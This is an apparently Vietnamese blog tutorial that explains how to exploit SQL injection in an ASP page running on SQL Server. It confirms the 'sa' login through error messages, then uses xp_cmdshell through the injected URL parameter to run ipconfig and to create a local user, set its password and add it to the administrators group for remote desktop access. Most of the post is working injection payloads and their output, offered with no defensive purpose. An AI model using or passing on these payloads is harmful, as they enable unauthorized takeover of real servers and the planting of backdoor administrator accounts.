Thứ Hai, 19 tháng 11, 2012

Cách tạo user để remote desktop khi có quyền Sa

Bước 1 : Tìm xem victim có bị lỗi SQL hay không?

http://www.domain.com/product_category.asp?categoryL1=106'



Thông báo lỗi trả về:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '106'order by mscategory.L2order, mssubcategories.L3order'.
/side_nav_02.asp, line 27

Bước 2 Kiểm tra xem có quyền sa không?

http://www.domain.com/product_category.asp?categoryL1=106'and 1=convert(int,system_user)--sp_password

Kết quả trả về

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'sa' to a column of data type int.


=>Dính Sa rồi đó
Bước 3: Đổ lệnh ip config vào table mà ta tạo ra(table abc) để check ip server(cũng có thể bỏ qua bước này)


http://www.domain.com/product_category.asp?categoryL1=106';drop table abc create table abc (id int identity,nd varchar(1000)) insert into abc(nd) exec master..xp_cmdshell 'ipconfig'--sp_password

Sau đó ta sẽ convert nó để xem ip là gì nhé

http://www.domain.com/product_category.asp
?categoryL1=106'and 1=convert(int,(select top 1 nd from abc where nd like ('%Ip address%')))--sp_password

Kết quả trả về 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' IP Address. . . . . . . . . . . . : 123.1.1.1 ' to a column of data type int.

Bước 4. Tạo user và active nó, nâng quyền ngang với administrator để remote.
     1.  Tạo user xxx

http://www.domain.com/product_category.asp?categoryL1=106;exec master..xp_cmdshell 'net user xxx /active:yes';--sp_password

     2. Tạo password

http://www.domain.com/product_category.asp?categoryL1=106';exec master..xp_cmdshell 'net user xxx 123456';--sp_password

    3.  Đưa xxx vào nhóm administrator

http://www.domain.com/product_category.asp?categoryL1=106';exec master..xp_cmdshell 'net localgroup administrators xxx /add';--sp_password


Vào remote thôi





Không có nhận xét nào:

Đăng nhận xét